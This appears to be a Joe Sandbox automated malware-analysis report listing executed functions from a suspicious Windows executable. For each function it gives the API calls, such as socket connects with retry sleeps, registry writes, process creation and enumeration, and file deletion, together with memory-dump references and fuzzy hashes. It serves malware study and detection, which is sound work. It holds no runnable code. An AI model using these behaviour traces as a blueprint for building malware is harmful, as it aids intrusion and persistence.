Associated: 00000007.00000002.2934566240.0000000000E40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2946588411.0000000000E72000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2950648201.0000000000E7E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2954088708.0000000000E81000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_ShtrayEasy35.jbxd

Similarity

API ID: EncodeFeaturePointerPresentProcessor
String ID: p
API String ID: 4030241255-2678736219
Opcode ID: b39a514bc1bf8b888e962c521ee6f646b5f50ba7704f87476a442343b78b065e
Instruction ID: a76a732926e41a85ea75fa49d94ef773363dd6001aadb7ded893aadc0b840ddf
Opcode Fuzzy Hash: b39a514bc1bf8b888e962c521ee6f646b5f50ba7704f87476a442343b78b065e
Instruction Fuzzy Hash: 60F024B0184305AEF614BB21FC0AB5537A46B0430EF041428FB0CB96E2DFE044CCC691

Analysis Process: 7bOe0mBZpcivp612.exePID: 7540, Parent PID: 7520COMMON

Execution Graph

Execution Coverage:	6.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.2%
Total number of Nodes:	1173
Total number of Limit Nodes:	19

Executed Functions

Function 0096B930 Relevance: 34.4, APIs: 17, Strings: 2, Instructions: 1104networksleepCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,000003FF,00000000), ref: 0096B998
ExitProcess.KERNEL32 ref: 0096C02A
WSAStartup.WS2_32(00000202,?), ref: 0096C4E2
htons.WS2_32(00000000), ref: 0096C54A
inet_pton.WS2_32(00000002,009A0094,?), ref: 0096C56E
socket.WS2_32(00000002,00000001,00000000), ref: 0096C57A
Sleep.KERNEL32(00001388), ref: 0096C58C

Part of subcall function 0096A7C0: _strftime.LIBCMT ref: 0096A8F2

connect.WS2_32(00000000,?,00000010), ref: 0096C59B
recv.WS2_32(00000000,00000000,00000000,00000000), ref: 0096C653
closesocket.WS2_32(00000000), ref: 0096C671
Sleep.KERNEL32(00001388), ref: 0096C689
std::_Throw_Cpp_error.LIBCPMT ref: 0096C6D4
std::_Throw_Cpp_error.LIBCPMT ref: 0096C6E2
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0096C743
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 0096C7A9
GetTempPathA.KERNEL32(00000104,?), ref: 0096C7BC

Strings

stoi argument out of range, xrefs: 0096C463, 0096C6BC
invalid stoi argument, xrefs: 0096C459, 0096C6B2

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: Cpp_errorFileModuleNameSleepThrow_recvstd::_$ExitPathProcessStartupTemp_strftimeclosesocketconnecthtonsinet_ptonsocket
String ID: invalid stoi argument$stoi argument out of range
API String ID: 1806641947-1606216832
Opcode ID: 18ca435ffdb12cd8d0c60bc893b916afad9a714d2290f459de088dce5686f6ba
Instruction ID: d7bcc81cb4252b0bd73431a8f101a8fc85d403ad9aead0b08de340e506d18c52
Opcode Fuzzy Hash: 18ca435ffdb12cd8d0c60bc893b916afad9a714d2290f459de088dce5686f6ba
Instruction Fuzzy Hash: 6AA2F6F19042188FDB24DB24CC85BAEB7B5AF85304F1482D9F689A7291EB305E85CF59

Function 00966F70 Relevance: 21.9, APIs: 14, Instructions: 885processCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,?,00999E3E,00000000,C57AAC56), ref: 00967274
SetFileAttributesA.KERNEL32(?,00000000,?,?,?,?,00999E3E,00000000,C57AAC56), ref: 0096728E
GetBinaryTypeA.KERNEL32(?,FFFFFFFF,?,?,?,?,00999E3E,00000000,C57AAC56), ref: 009672AA
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000010,00000000,00000000,00000044,?,?,?,?,?,?,00000000), ref: 009674D4
CloseHandle.KERNEL32(?,?,?,00000000,00999EA0,00000001,?,?,0000000F,?,FFFFFFFF,?,?,?,?,00999E3E), ref: 009674EA
CloseHandle.KERNEL32(?,?,?,00000000,00999EA0,00000001,?,?,0000000F,?,FFFFFFFF,?,?,?,?,00999E3E), ref: 009674F2
OpenProcess.KERNEL32(00000410,00000000,?,C57AAC56,?,00000000), ref: 00967640
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104,?,?,?,?,?,?,?,00000000), ref: 0096765B
CloseHandle.KERNELBASE(00000000), ref: 00967666
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,00000000), ref: 0096766E
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000), ref: 00967682
___std_fs_convert_wide_to_narrow@20.LIBCPMT ref: 0096786C
___std_fs_convert_wide_to_narrow@20.LIBCPMT ref: 009678B4
GetCurrentProcessId.KERNEL32(?,?,?,?,00000001,00000000,00999E9C,00000001,?,?,?,?,00000000), ref: 00967C03

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: CloseFileHandle$Process$AttributesModuleName___std_fs_convert_wide_to_narrow@20$BinaryCreateCurrentOpenType
String ID:
API String ID: 2016004407-0
Opcode ID: 9121cce114c24f9e1680eeb1c0e4d1d15e78d59948c4873cfcf00d1264afc4f4
Instruction ID: 9f2eef2af3ebbb39d797006c2724ba3ace031c47d4e640b15a1245853740e139
Opcode Fuzzy Hash: 9121cce114c24f9e1680eeb1c0e4d1d15e78d59948c4873cfcf00d1264afc4f4
Instruction Fuzzy Hash: E682CD71D042588BDB29DB68CC88BEDBB75AF85304F1482D9E419AB292DB749FC4CF50

Function 00963000 Relevance: 6.3, APIs: 4, Instructions: 289
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 00963131
CoCreateInstance.OLE32(009922C0,00000000,00000001,00999DF8,?), ref: 00963156
CoUninitialize.COMBASE ref: 009632B8
SHGetFolderPathA.SHELL32(00000000,00000007,00000000,00000000,?,C57AAC56,75A8EB20), ref: 0096337F

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: CreateFolderInitializeInstancePathUninitialize
String ID:
API String ID: 760132150-0
Opcode ID: 945673db83aa95be8267e9422482558b9927f0eeb87a848ac741f499df809255
Instruction ID: fdd2bf793db68652bf9e7ed31877d6eb600a30b458a77151d36a1621a6a14f14
Opcode Fuzzy Hash: 945673db83aa95be8267e9422482558b9927f0eeb87a848ac741f499df809255
Instruction Fuzzy Hash: 51D115B49052299FDB68DF28CD99BEDBBB5AB49300F1082D9E409A7351DB316E84CF40

Function 0096FD87 Relevance: 4.5, APIs: 3, Instructions: 35
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindClose.KERNEL32(000000FF,?,0096FDB5,?,?,?,009659C7,?,?,C57AAC56,?,?,?,C57AAC56,?), ref: 0096FD93
FindFirstFileExW.KERNELBASE(000000FF,00000001,C57AAC56,00000000,00000000,00000000,?,?,?,?,0096FDB5,?,?,?,009659C7,?), ref: 0096FDC2
GetLastError.KERNEL32(?,0096FDB5,?,?,?,009659C7,?,?,C57AAC56,?,?,?,C57AAC56,?), ref: 0096FDD4

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: Find$CloseErrorFileFirstLast
String ID:
API String ID: 4020440971-0
Opcode ID: 502b75eb5e35204b6516699fa9897449999c8da1f34773ba6a2583bc79c232d0
Instruction ID: 37f214ef8732aae2f7f1fcfa6a76d64349dbce04383586ac45485a87f4910f78
Opcode Fuzzy Hash: 502b75eb5e35204b6516699fa9897449999c8da1f34773ba6a2583bc79c232d0
Instruction Fuzzy Hash: 67F08231018208BFDB101FA8EC15ABA7BADEF14371B108536B968C14F0D731A861DBA0

Function 00967CD0 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 324
processfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,C57AAC56,?,00000000), ref: 00967D0C
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,?,00000003,000000FF,-00000020,?,00000003,000000FF), ref: 00967EE0
Process32First.KERNEL32(00000000,?), ref: 00967F03
GetCurrentProcessId.KERNEL32 ref: 00967F11
OpenProcess.KERNEL32(00000400,00000000,?), ref: 00967F2D
QueryFullProcessImageNameW.KERNELBASE(00000000,00000000,?,?), ref: 00967F58
CloseHandle.KERNEL32(00000000), ref: 00967FC8
CloseHandle.KERNELBASE(00000000), ref: 00967FD3
Process32Next.KERNEL32(00000000,00000128), ref: 00967FE5
CloseHandle.KERNELBASE(00000000), ref: 00967FF4
DeleteFileW.KERNELBASE(?), ref: 0096800B

Strings

directory_iterator::directory_iterator, xrefs: 00968129
status, xrefs: 00968134

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: CloseHandleProcess$FileNameProcess32$CreateCurrentDeleteFirstFullImageModuleNextOpenQuerySnapshotToolhelp32
String ID: directory_iterator::directory_iterator$status
API String ID: 1496499601-2525534277
Opcode ID: 757aa2fe6cc18043ca635187cf608272babca2dfc0b62920796b6a844203bf9d
Instruction ID: de8b6c0b5429d0e19ccc22a963f3b0046d69d30dd3fe3f2c08871270eabd7329
Opcode Fuzzy Hash: 757aa2fe6cc18043ca635187cf608272babca2dfc0b62920796b6a844203bf9d
Instruction Fuzzy Hash: DAC1D571A042149BDB25DF24CC94BAEB3BDFF84314F148699E90AA7291EB349F85CF50

Function 0096C6F0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 318
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0097A06A: GetSystemTimeAsFileTime.KERNEL32(C57AAC56,?,?,?,?,?,0096A815,00000000,C57AAC56), ref: 0097A07F
Part of subcall function 0097A06A: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0097A09E

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0096C743
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 0096C7A9
GetTempPathA.KERNEL32(00000104,?), ref: 0096C7BC
std::_Throw_Cpp_error.LIBCPMT ref: 0096CB21
std::_Throw_Cpp_error.LIBCPMT ref: 0096CB30
GetCurrentProcessId.KERNEL32 ref: 0096CB48

Strings

stoi argument out of range, xrefs: 0096C463, 0096C6BC, 0096CB10
invalid stoi argument, xrefs: 0096C459, 0096C6B2, 0096CB06

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: File$Cpp_errorModuleNameThrow_Timestd::_$CurrentPathProcessSystemTempUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: invalid stoi argument$stoi argument out of range
API String ID: 3489346416-1606216832
Opcode ID: e1515c7de81dd399f70ec70318ebacad0fde0583cd9a48cc8eaf27c429ed44f0
Instruction ID: 1cd54c0abe4dd54ea7b8e51bee9a9d0869cd944c3796b64fc7f84ddf5a41fb91
Opcode Fuzzy Hash: e1515c7de81dd399f70ec70318ebacad0fde0583cd9a48cc8eaf27c429ed44f0
Instruction Fuzzy Hash: A4B1B2B15083409BE728EB34CC46BBBB7E9AFC5304F148A1DF5C997192EB719944CB92

Function 00963700 Relevance: 10.8, APIs: 7, Instructions: 350
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExA.KERNELBASE(?,?,00000000,?,?,?), ref: 00963A8D
RegCloseKey.ADVAPI32(?), ref: 00963AA2
RegOpenKeyExA.KERNELBASE(80000001,?,00000000,00020006,?), ref: 00963E1D
RegSetValueExA.KERNELBASE(?,?,00000000,00000001,?,?), ref: 00963E56
RegCloseKey.ADVAPI32(?), ref: 00963E63

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: CloseValue$OpenQuery
String ID:
API String ID: 3962714758-0
Opcode ID: e8432543aa00ee5a2fb0623c28e8cdecd81e3d4b6bfdf3e10a18b85c2b7a332d
Instruction ID: c6decff3f8072635cde7091c102ace54da1d23b1a5861831435732115f4368d4
Opcode Fuzzy Hash: e8432543aa00ee5a2fb0623c28e8cdecd81e3d4b6bfdf3e10a18b85c2b7a332d
Instruction Fuzzy Hash: 7112A7B45093819FE375CF28C594BDABBE5BB8A310F00892EE9C98B311DB749945CF52

Function 009826B3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,C57AAC56,?,009827C2,?,?,00000000), ref: 00982774

Strings

api-ms-, xrefs: 0098270A
ext-ms-, xrefs: 0098271E

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: d6dac11152b3c62153c1018e824e4a538842eeed7f3b5b5ca7ebfb9e9f5b2768
Instruction ID: a11520a48c65950c86cd280d4ed2336da9395779a20e09cf40cd22daba3f1891
Opcode Fuzzy Hash: d6dac11152b3c62153c1018e824e4a538842eeed7f3b5b5ca7ebfb9e9f5b2768
Instruction Fuzzy Hash: 3221E732A05211ABCB31AB6ADC94A5A776CEB51760F250126ED06E73E5E770FE00D7D0

Function 00963513 Relevance: 8.0, APIs: 5, Instructions: 486
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2837da4a877932718956c4657ba226472ffa209c1eecc6af8b8d1df52e04402
Instruction ID: 036bb398bc48e14333b96191f2ab31fe60ada8d6e0e894a0c400b10c1e65a2af
Opcode Fuzzy Hash: c2837da4a877932718956c4657ba226472ffa209c1eecc6af8b8d1df52e04402
Instruction Fuzzy Hash: 5532E0B49083819FD375CF24C994BDABBE5BF89300F00896EE8899B351DB749A45CF52

Function 00966BB0 Relevance: 4.7, APIs: 3, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?,C57AAC56,?,00000000), ref: 00966C24
CreateDirectoryA.KERNELBASE(?,00000000,?), ref: 00966D38
GetLastError.KERNEL32 ref: 00966D46

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: CreateDirectoryErrorLastPathTemp
String ID:
API String ID: 3750913106-0
Opcode ID: ecb6ebcddd2a9118b65462d48b6756d20a105275c6336c2f4fca69b72b960a86
Instruction ID: 0161d3460b36df585bda8fdc2cec8ac710f915c8cbc412853e43b771aa3f6b07
Opcode Fuzzy Hash: ecb6ebcddd2a9118b65462d48b6756d20a105275c6336c2f4fca69b72b960a86
Instruction Fuzzy Hash: EE61E471A042189BDB29DB28CC99BEEB7B9EF85300F148299F459A7291DB345FC4CF50

Function 00964320 Relevance: 4.6, APIs: 3, Instructions: 99
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(05265C00,00000000,00000000,?,000F4240,00000000,?,?,000F4240,00000000,?), ref: 009643CE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009643E4
Sleep.KERNEL32(00000000,00000000,?,000F4240,00000000,?,?,000F4240,00000000,?), ref: 00964405

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: Sleep$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 240202187-0
Opcode ID: 0fe453e4c71ac576c01ccc91f0daf1c1b663d08cdc216541ce99a34c2ad3c5c0
Instruction ID: cda2de348adbf5a45fc80d548bab811fa83c8a0505687cf5cd8d8cdcf6df466f
Opcode Fuzzy Hash: 0fe453e4c71ac576c01ccc91f0daf1c1b663d08cdc216541ce99a34c2ad3c5c0
Instruction Fuzzy Hash: B531B872E002059BCB14EBE88DC2FBEB7B9ABC4760F350229E615F7381D6706D414651

Function 00978955 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_000187F9,00000000,00000000,00000000), ref: 0097899E
GetLastError.KERNEL32(?,0096C960,00000000,00000000), ref: 009789AA
__dosmaperr.LIBCMT ref: 009789B1

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 7b959f6fc9ad010d48da1c1948d541d63e137bafe81c4d6950db3bdba1823ca8
Instruction ID: 103d813e078d1a2695ac18475a62bae4f3f65e94bafa1853a1d5558f65f354e7
Opcode Fuzzy Hash: 7b959f6fc9ad010d48da1c1948d541d63e137bafe81c4d6950db3bdba1823ca8
Instruction Fuzzy Hash: 2D018073550219BFCF15AFA1CC09BAF3B68EF40360F008058F90992160EF30C910DB91

Function 009788AE Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0097FD61: GetLastError.KERNEL32(00000000,?,009794CB,009824CE,?,?,0097FC5D,00000001,00000364,?,00000006,000000FF,?,0097881E,0099C3E0,0000000C), ref: 0097FD65
Part of subcall function 0097FD61: SetLastError.KERNEL32(00000000), ref: 0097FE07

CloseHandle.KERNEL32(?,?,?,009789E5,?,?,00978857,00000000), ref: 009788DF
FreeLibraryAndExitThread.KERNELBASE(?,?,?,?,009789E5,?,?,00978857,00000000), ref: 009788F5
ExitThread.KERNEL32 ref: 009788FE

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary
String ID:
API String ID: 1991824761-0
Opcode ID: b6917491457c7a16764a058834468d1c1c009460d6d1440dece85d87f9b32edc
Instruction ID: c4b97c066470aadf67a85d4226d30af2123d7f6c95ad637529e97cba55ab9884
Opcode Fuzzy Hash: b6917491457c7a16764a058834468d1c1c009460d6d1440dece85d87f9b32edc
Instruction Fuzzy Hash: C7F05E32544700ABCB315B29C84CBAB3A9CAF00760F488610F879E26E1DF31DC51D666

Function 0096B210 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 445
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

x, xrefs: 0096B910

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: ComputerName
String ID: x
API String ID: 3545744682-2363233923
Opcode ID: 2556330f299d689abccbfcb8731431b208b4edb837ad5d07792b47680cfe54cd
Instruction ID: 2984c0a316bea065af720e1e611ab0339eeee8ce1fbb9b3a4a9ae145aef4c2c0
Opcode Fuzzy Hash: 2556330f299d689abccbfcb8731431b208b4edb837ad5d07792b47680cfe54cd
Instruction Fuzzy Hash: 55129A71C002588BDB28CF28CC957EDBBB5BF85300F1482D9E449AB692EB749AC5DF51

Function 00965810 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_fs_directory_iterator_advance@8.LIBCPMT ref: 0096583A

Part of subcall function 0096FD66: FindNextFileW.KERNELBASE(?,?,?,009659F5,?,C57AAC56,?,?,C57AAC56,?,?,?,C57AAC56,?), ref: 0096FD6F

Strings

., xrefs: 00965848

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_960000_7bOe0mBZpcivp612.jbxd

Similarity

API ID: FileFindNext___std_fs_directory_iterator_advance@8
String ID: .
API String ID: 3878998205-248832578
Opcode ID: 5d72f7d5fa4a774dceecd6e15460c22a33456f622e14b460eb26297b5076d748
Instruction ID: 7dea2e1ecb2efc785c27d609e03d230ef047f068fe61e3bec180e29a1b16fa9c
Opcode Fuzzy Hash: 5d72f7d5fa4a774dceecd6e15460c22a33456f622e14b460eb26297b5076d748
Instruction Fuzzy Hash: AB21B735A01A158BCB30DF59D90476DB7F8EF84320F564699D84997690EB70AD81CBC4

Function 009658E0 Relevance: 3.2, APIs: 2, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_fs_directory_iterator_open@12.LIBCPMT ref: 009659C2
___std_fs_directory_iterator_advance@8.LIBCPMT ref: 009659F0

Memory Dump Source

Source File: 00000008.00000002.2939930327.0000000000961000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00960000, based on PE: true

Associated: 00000008.00000002.2937375527.0000000000960000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940032960.0000000000992000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940057939.000000000099E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2940130240.00000000009A1000.00000002.00000001.01000000.0000000C.sdmpDownload File

